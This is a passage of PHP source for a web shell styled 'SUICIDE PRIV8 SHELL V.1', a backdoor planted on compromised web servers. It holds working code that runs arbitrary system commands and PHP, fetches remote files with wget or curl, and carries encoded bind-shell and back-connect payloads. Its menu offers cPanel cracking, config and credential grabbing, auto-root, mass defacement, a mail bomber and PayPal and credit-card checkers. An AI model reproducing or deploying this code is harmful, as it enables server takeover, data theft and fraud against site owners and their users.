style='color:red;text-shadow:none;'>[</font>"." $folder". " <font style='color:red;text-shadow:none;'>]</font></a>"."
  460. <form action="?sad=$pwd" method="post" id="" . clearspace($folder) . "_form" class="sembunyi" style="margin:0;padding:0;">
  461. <input type="hidden" name="oldname" value="" . $folder . "" style="margin:0;padding:0;" />
  462. <input class="inputz" style="width:200px;" type="text" name="newname" value="" . $folder . "" />
  463. <input class="inputzbut" type="submit" name="rename" value="rename" />
  464. <input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');" />
  465. </form> </td><td>DIR</td><td style="text-align:center;">" . $owner . "</td><td><center>
  466. <a href="javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');">" . get_perms($pwd . $folder) . "</a>
  467. <form action="?sad=$pwd" method="post" id="" . clearspace($folder) . "_form3" class="sembunyi" style="margin:0;padding:0;">
  468. <input type="hidden" name="name" value="" . $folder . "" style="margin:0;padding:0;" />
  469. <input class="inputz" style="width:200px;" type="text" name="newvalue" value="" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "" />
  470. <input class="inputzbut" type="submit" name="chmod_folder" value="chmod" />
  471. <input class="inputzbut" type="submit" name="cancel" value="cancel"
  472. onclick="tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');" /></form></center></td><td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href="javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');">rename</a>| <a href="?sad=$pwd&amp;fdelete=" . $pwd . $folder . "">delete</a>
  473. </td>
  474. </tr>";
  475. }
  476. }
  477. foreach ($fname as $file) {
  478. $full = $pwd . $file;
  479. if (!$win && $posix) {
  480. $name = @posix_getpwuid(@fileowner($file));
  481. $group = @posix_getgrgid(@filegroup($file));
  482. $owner = $name['name'] . "<span class="gaya"> : </span>" . $group['name'];
  483. } else {
  484. $owner = $user;
  485. }
  486. $buff .= "<tr><td><a id="" . clearspace($file) . "_link" href="?sad=$pwd&amp;view=$full"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</a>
  487. <form action="?sad=$pwd" method="post" id="" . clearspace($file) . "_form" class="sembunyi" style="margin:0;padding:0;">
  488. <input type="hidden" name="oldname" value="" . $file . "" style="margin:0;padding:0;" />
  489. <input class="inputz" style="width:200px;" type="text" name="newname" value="" . $file . "" />
  490. <input class="inputzbut" type="submit" name="rename" value="rename" />
  491. <input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');" />
  492. </form></td><td>" . ukuran($full) . "</td><td style="text-align:center;">" . $owner . "</td><td><center>
  493. <a href="javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');">" . get_perms($full) . "</a>
  494. <form action="?sad=$pwd" method="post" id="" . clearspace($file) . "_form2" class="sembunyi" style="margin:0;padding:0;">
  495. <input type="hidden" name="name" value="" . $file . "" style="margin:0;padding:0;" />
  496. <input class="inputz" style="width:200px;" type="text" name="newvalue" value="" . substr(sprintf('%o', fileperms($full)), -4) . "" />
  497. <input class="inputzbut" type="submit" name="chmod" value="chmod" />
  498. <input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');" /></form></center></td>
  499. <td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($full)) . "</td>
  500. <td><a href="?sad=$pwd&amp;edit=$full">edit</a> | <a href="javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');">rename</a>| <a href="?sad=$pwd&amp;delete=$full">delete</a> | <a href="?sad=$pwd&amp;dl=$full">download</a>&nbsp;(<a href="?sad=$pwd&amp;dlgzip=$full">gz</a>)
  501. </td></tr>";
  502. }
  503. $buff .= "<center><tr style='background-color:teal;'><td colspan='6'><center>This shell is only for the brave, not for the weak wKwkwk m/<br>Xenzia Worm - Kaizen 2018 | Allright Reserved</center></td></table>";
  504. return $buff;
  505. }
  506. function ukuran($file)
  507. {
  508. if ($size = @filesize($file)) {
  509. if ($size <= 1024)
  510. return $size;
  511. else {
  512. if ($size <= 1024 * 1024) {
  513. $size = @round($size / 1024, 2);
  514. ;
  515. return "$size kb";
  516. } else {
  517. $size = @round($size / 1024 / 1024, 2);
  518. return "$size mb";
  519. }
  520. }
  521. } else
  522. return "???";
  523. }
  524. function exe($cmd)
  525. {
  526. if (function_exists('system')) {
  527. @ob_start();
  528. @system($cmd);
  529. $buff = @ob_get_contents();
  530. $buff = @ob_get_contents();
  531. @ob_end_clean();
  532. return $buff;
  533. } elseif (function_exists('exec')) {
  534. @exec($cmd, $results);
  535. $buff = "";
  536. foreach ($results as $result) {
  537. $buff .= $result;
  538. }
  539. return $buff;
  540. } elseif (function_exists('passthru')) {
  541. @ob_start();
  542. @passthru($cmd);
  543. $buff = @ob_get_contents();
  544. @ob_end_clean();
  545. return $buff;
  546. } elseif (function_exists('shell_exec')) {
  547. $buff = @shell_exec($cmd);
  548. return $buff;
  549. }
  550. }
  551. function tulis($file, $text)
  552. {
  553. $textz = gzinflate(base64_decode($text));
  554. if ($filez = @fopen($file, "w")) {
  555. @fputs($filez, $textz);
  556. @fclose($file);
  557. }
  558. }
  559. function ambil($link, $file)
  560. {
  561. if ($fp = @fopen($link, "r")) {
  562. while (!feof($fp)) {
  563. $cont .= @fread($fp, 1024);
  564. }
  565. @fclose($fp);
  566. $fp2 = @fopen($file, "w");
  567. @fwrite($fp2, $cont);
  568. @fclose($fp2);
  569. }
  570. }
  571. function which($pr)
  572. {
  573. $path = exe("which $pr");
  574. if (!empty($path)) {
  575. return trim($path);
  576. } else {
  577. return trim($pr);
  578. }
  579. }
  580. function download($cmd, $url)
  581. {
  582. $namafile = basename($url);
  583. switch ($cmd) {
  584. case 'wwget':
  585. exe(which('wget') . " " . $url . " -O " . $namafile);
  586. break;
  587. case 'wlynx':
  588. exe(which('lynx') . " -source " . $url . " > " . $namafile);
  589. break;
  590. case 'wfread':
  591. ambil($wurl, $namafile);
  592. break;
  593. case 'wfetch':
  594. exe(which('fetch') . " -o " . $namafile . " -p " . $url);
  595. break;
  596. case 'wlinks':
  597. exe(which('links') . " -source " . $url . " > " . $namafile);
  598. break;
  599. case 'wget':
  600. exe(which('GET') . " " . $url . " > " . $namafile);
  601. break;
  602. case 'wcurl':
  603. exe(which('curl') . " " . $url . " -o " . $namafile);
  604. break;
  605. default:
  606. break;
  607. }
  608. return $namafile;
  609. }
  610. function get_perms($file)
  611. {
  612. if ($mode = @fileperms($file)) {
  613. $perms = '';
  614. $perms .= ($mode & 00400) ? 'r' : '-';
  615. $perms .= ($mode & 00200) ? 'w' : '-';
  616. $perms .= ($mode & 00100) ? 'x' : '-';
  617. $perms .= ($mode & 00040) ? 'r' : '-';
  618. $perms .= ($mode & 00020) ? 'w' : '-';
  619. $perms .= ($mode & 00010) ? 'x' : '-';
  620. $perms .= ($mode & 00004) ? 'r' : '-';
  621. $perms .= ($mode & 00002) ? 'w' : '-';
  622. $perms .= ($mode & 00001) ? 'x' : '-';
  623. return $perms;
  624. } else
  625. return "??????????";
  626. }
  627. function clearspace($text)
  628. {
  629. return str_replace(" ", "_", $text);
  630. }
  631. $tunisia = '';
  632. $port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  633. $port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  634. $back_connect = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
  635. $back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  636. ?><html><head><link rel="icon" type="image/png" href="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png">
  637. <title>Private Shell</title>
  638. <script type="text/javascript">function tukar(b,a){document.getElementById(b).style.display="none";document.getElementById(a).style.display="block"};</script>
  639. <link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
  640. <style>
  641. /*<![CDATA[*/body::-webkit-scrollbar{width:1em}body::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3)}body::-webkit-scrollbar-thumb{background-color:darkgrey;
  642. outline:1px solid slategrey}.mybox{-moz-border-radius:50px;
  643. border-radius:10px;
  644. border:1px solid #4c83af;padding:4px 2px;
  645. width:100%;line-height:24px}
  646. .myboxtbl{width:50%}body{background-color:transparan;
  647. background:#000;background-image:url("<?php echo $background; ?>");
  648. background-position:center;background-attachment:fixed;background-repeat:no-repeat}
  649. a{text-decoration:none}hr,a:hover{border-bottom:1px solid #4c83af}*{text-shadow:0 0 .3em #999;
  650. font-size:14px;font-family:'Montserrat',sans-serif;
  651. color:<?php echo $fontcolor_global;?>}.tabnet{margin:15px auto 0 auto;
  652. border:1px solid #333}.main{width:100%}.gaya{color:black}.top{border-left:1px solid black;
  653. border-RIGHT:1px solid #fff;font-family:verdana}input{background:#111;
  654. border:1;
  655. padding:2px;
  656. border-bottom:1px solid #222;
  657. border-top:1px solid #222;
  658. font-size:12px;vertical-align:middle;
  659. height:20;border-left:1px solid #5d5d5d;
  660. border-right:1px solid #121212;
  661. border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;
  662. color:#9f9f9f}.inputz{background:#111;border:0;padding:2px;
  663. border-bottom:1px solid #393939;
  664. font-size:11px;color:#fff;-moz-border-radius:6px;
  665. border-radius:10px;border:1px solid #4c83af;
  666. margin:4px 0 8px 0}.inputzbut{background:#111;
  667. color:#8f8f8f;margin:0 4px;
  668. border:1px solid #444}.inputzbut:hover{border-bottom:1px solid #4c83af;
  669. border-top:1px solid #4c83af}.inputz:hover{-moz-border-radius:6px;
  670. border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0;
  671. border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.output2{margin:auto;
  672. border:1px solid #888;background:#000;padding:0 2px}textarea{margin:auto;
  673. border:2px solid #555;background:#000;padding:0 2px}.output{margin:auto;
  674. border:1px solid #303030;
  675. width:100%;
  676. height:400px;
  677. background:#000;
  678. padding:0 2px}.cmdbox{width:100%}.head_info{padding:0 4px}.b1{font-size:30px;
  679. padding:0;color:#555}.b2{font-size:30px;padding:0;
  680. color:maroon}.b_tbl{text-align:center;
  681. margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333}.phpinfo table{width:100%;
  682. padding:0}.phpinfo td{background:#111;color:#ccc;
  683. padding:6px 8px}.phpinfo th,th{background:teal;
  684. border-bottom:1px solid #333;font-weight:400}.phpinfo h2,.phpinfo h2
  685. a{text-align:center;
  686. font-size:16px;
  687. padding:0;
  688. margin:30px 0 0 0;
  689. background:#222;
  690. padding:4px 0}.explore{width:100%}.explore a{text-decoration:none}.explore td{border-bottom:1px solid #333;
  691. padding:0 8px;
  692. line-height:24px;color:#999}.explore th{padding:3px 8px;font-weight:400;
  693. color:white}.explore th:hover,.phpinfo
  694. th:hover{border-bottom:1px solid red}.explore tr:hover{background:#333}
  695. .viewfile{background:#edeceb;color:#000;
  696. margin:4px 2px;
  697. padding:8px}.sembunyi{display:none;padding:0;margin:0}#menu{background:black;
  698. font-family:'Montserrat',sans-serif;font-size:12px;
  699. color:silver}#menu a{font-family:'Montserrat',sans-serif;padding:3px 5px;margin:2;text-shadow:0 0 .1em rgba(0,128,128,1),0pt 0 .3em rgba(0,128,128,1);background:#2d2b2b;text-decoration:none;letter-spacing:2px;display:inline-block;-moz-border-radius:10px;-webkit-border-radius:5px;-khtml-border-radius:5px;border-radius:5px}#menu a:hover{font-family:'Montserrat',sans-serif;background:#191919;border-bottom:1px solid #444;border-top:1px solid #444;color:#cecece}li{display:inline-block}ul{list-style-type:none;margin:0;margin:0}k,k a,k a:hover{text-shadow:0 0 .3em red;font-family:'Montserrat',sans-serif;font-size:25px;color:#fff}h7{font-size:35px}/*]]>*/</style><body onLoad="document.getElementById('cmd').focus()"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl" cellspacing="0">
  700. <?php
  701. echo '<center><img src="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png" width="150px"><br><br><b>'.(base64_decode('UHJpdmF0ZSBTaGVsbA==').'</b>');
  702. ?><div id="menu"><a href="?<?php
  703. echo "sad=" . $pwd;
  704. ?>&amp;x=privacy">Privacy & Police</a></div></center>
  705. </td></tr></table></td><td class="top" width='60%' valign="top"><?php
  706. echo $buff;
  707. ?></td><td style="width:30%" valign="top"><a>SERVER IP :<?php
  708. echo $server_ip . "<font color='red'><br><br></font> YOUR IP : " . $my_ip . "<br></a>";
  709. ?><br>
  710. <div id="menu"><a href="?<?php
  711. echo "sad=" . $pwd;
  712. ?>&amp;x=privacy">SUICIDE PRIV8 SHELL V.1</a></div></center>
  713. <a href='https://suicide-db.blogspot.co.id/'><img src="https://4.bp.blogspot.com/-km-FgpyrPl4/WkWlBGaAFoI/AAAAAAAAA54/EgU3klAshoYfYcOwsvQ5jf7cDpu8CyU3ACK4BGAYYCw/s1600/as.png" width="400" height="100" />
  714. </td></tr></table></div><hr>
  715. <div id="menu">
  716. <center>
  717. <ul><ul></ul><ul id="menu">
  718. <li><a href="?">Home</a></li>
  719. <li><a href="?<?php echo "sad=" . $pwd; ?>">Files</a></li>
  720. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=upload">Upload</a></li>
  721. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=shell">Command</a></li>
  722. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=php">Eval</a></li>
  723. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=netsploit">Netsploit</a></li>
  724. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mysql">MySQL</a></li>
  725. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=apache">Apache</a></li>
  726.  
  727. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=root">Auto Root</a></li>
  728.  
  729. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cgi">CGI Telnet</a></li>
  730. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=blhost">BlueHost</a></li>
  731. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hostg">HostGator</a></li>
  732. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=agovh">OVH</a></li>
  733. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=whme">WHMCS</a></li>
  734.  
  735. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=joomla">Joomla</a></li>
  736. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=wordpress">Wordpress</a></li>
  737. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=vb">vBulletin</a></li>
  738.  
  739. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=bbase">Base_Dir</a></li>
  740. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=finddir">Find Dir</a></li>
  741. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=fb">Facebook</a></li>
  742. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=twitter">Twitter</a></li>
  743. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=skype">Skype</a></li>
  744. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=gmail">Gmail/Hotmail</a></li>
  745. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=grabc">Config Grabber</a></li>
  746. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=sym">Symlink</a></li>
  747. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=jumping">Jumping</a></li>
  748. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cpcrack">CPanel Crack</a></li>
  749. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cpbrute">CPanel/FTP Auto Deface</a></li>
  750. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hijack">Hijack</a></li>
  751.  
  752. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=aglts">LiteSpeed</a></li>
  753.  
  754. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=safemode">Safe Mode</a></li>
  755. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=base64">Base64 Enc/Dec</a></li>
  756. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=smtp">SMTP Grab</a></li>
  757. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=vhost">vHost</a></li>
  758. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=bingrb">Bing Graber</a></li>
  759. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ngindexx">NginDexer</a></li>
  760. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=portscan">Port Scanner</a></li>
  761. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hashgen">Hash Generate</a></li>
  762. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=hashid">HashID</a></li>
  763. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=webdav">Webdav Exploit</a></li>
  764. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=csrf">CSRF Exploit</a></li>
  765. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=fake">Fake Root</a></li>
  766. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=dnsraw">DNS Raw Lookup</a></li>
  767. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=testperm">Test Permission</a></li>
  768. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mass">Mass Tools</a></li>
  769. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=get_tools">Tools</a></li>
  770. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=bypasser">Bypasser</a></li>
  771. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=brute">Brute Force</a></li>
  772. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=phpinfo">PHPinfo</a></li>
  773. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=zone-h">Zone-H</a></li>
  774. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=domains">Domains</a></li>
  775. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=string">String</a></li>
  776. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=cmsdet">CMS Detector</a></li>
  777. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=krdp">K-RDP Shell</a></li>
  778. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mailtest">Mail Bomber</a></li>
  779. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=mailer">Mailer</a></li>
  780. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ppcheck">Paypal Checker</a></li>
  781. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ccheck">CC Checker</a></li>
  782. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=extra">Email Extractor</a></li>
  783. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=magento">Magento</a></li>
  784. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=dump">DB Dump</a></li>
  785. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=whois">WHOIS</a></li>
  786. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=ip">Reverse IP</a></li>
  787. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=backup">Backup ZIP</a></li>
  788. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=logs">Logs</a></li>
  789. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=kill">Kill</a></li>
  790. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=change_pass">Change Shell Password</a></li>
  791. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=settings">Settings</a></li>
  792. <li><a href="?<?php echo "sad=" . $pwd; ?>&amp;x=about">About Me</a></li>
  793. <li><a href="?logout" style="background:#900;color:#FFF;background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');background-position:2px;height:20px;width:100px;background-repeat:no-repeat">Logout</a></li>
  794. </ul>
  795. </center>
  796. </div><hr>
  797. <?php
  798. if (isset($_GET['x']) && ($_GET['x'] == 'php')) {
  799. ?><form action="?sad=<?php
  800. echo $pwd;
  801. ?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>
  802. <?php
  803. if (isset($_POST['submitcmd'])) {
  804. echo eval(magicboom($_POST['cmd']));
  805. } else
  806. echo "echo file_get_contents('/etc/passwd');";
  807. ?></textarea></td></tr><tr><td><input style="width:19%" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php
  808. exit();
  809. }
  810. elseif (isset($_GET['logout'])) {
  811. session_unset($_SESSION["login"]);
  812. echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
  813. }
  814. elseif (isset($_GET['x']) && ($_GET['x'] == 'change_pass')) {
  815. ?>
  816. <center>
  817. <h1>Change Shell Password</h1>
  818. <form action="?sad=<?php echo $pwd; ?>&amp;x=change_pass" method="post">
  819. <input type="text" name="password" class="inputz"><br>
  820. <input type="submit" name="submit" class="inputzbut">
  821. </form>
  822. <?php
  823. if(isset($_POST['submit'])){
  824. $newpassword = md5($_POST['password']);
  825. $old_pass = '"'.$auth_pass.'";';
  826. $new_pass = '"'.$newpassword.'";';
  827. if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
  828. $kr_pass = file_get_contents($_SERVER['SCRIPT_FILENAME']);
  829. $kr_pass = preg_replace("/$old_pass/is",$new_pass,$kr_pass);
  830. if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $kr_pass)){
  831. echo "password baru : <font color=red>".$_POST['password']."</font> - <font color=greenyellow>$newpassword</font>";
  832. }
  833. }else{
  834. echo "Password gagal";
  835. }
  836. }
  837. exit();
  838. }
  839. elseif(isset($_GET['x']) && ($_GET['x'] == 'mailtest'))
  840. {
  841. $subject = 'Support Mailer ^_^';
  842. $message = 'Support Mailer ! ^_^';
  843. $headers = 'From: [email protected]' . "rn" .
  844. 'Reply-To: [email protected]' . "rn" .
  845. 'X-Mailer: PHP/' . phpversion();
  846.  
  847. mail($to, $subject, $message, $headers);
  848. if(mail($to, $subject, $message, $headers)){
  849. echo '<script>alert("Support Mailer !!! Check your Email !")</script>';
  850. }else{
  851. echo '<script>alert("Error ! ")</script>';
  852. }
  853. exit();
  854. }
  855. elseif(isset($_GET['x']) && ($_GET['x'] == 'settings'))
  856. {
  857. ?>
  858. <center><br>
  859. <h7>Settings Shell</h7><br>
  860. <a href="?<?php echo "y=".$pwd; ?>&amp;x=set_bg"><input class=inputzbut type=submit value=" Background Shell" /></a>
  861. | <a href="?<?php echo "y=".$pwd; ?>&amp;x=set_login"><input class=inputzbut type=submit value=" Login Background" /></a><br>
  862. </center>
  863. <?php
  864. //functions settings
  865. $bgshell = $_POST['bg_shell'];
  866. $bg_login = $_POST['bg_login'];
  867.  
  868. if(isset($_POST['submit'])){
  869.  
  870. if (!empty($bgshell)) {
  871. $bgshelll = $_POST['bg_shell'];
  872. $replace_new = ''.$bgshelll.'';
  873. if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
  874. $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
  875. $background = preg_quote($background, '/');
  876. var_dump($background);
  877. exit();
  878. $write = preg_replace("/$background/",$replace_new,$write);
  879. if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
  880. echo '<center>Setting Saved !</center>';
  881. }
  882. }else{
  883. echo "<center>Setting Not Saved</center>";
  884. }
  885. }elseif(!empty($bg_login)){
  886. $bglogin = $_POST['bg_login'];
  887. $replace_new = ''.$bglogin.'';
  888. if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
  889. $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
  890. $background_login = preg_quote($background_login, '/');
  891. $write = preg_replace("/$background_login/",$replace_new,$write);
  892. if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
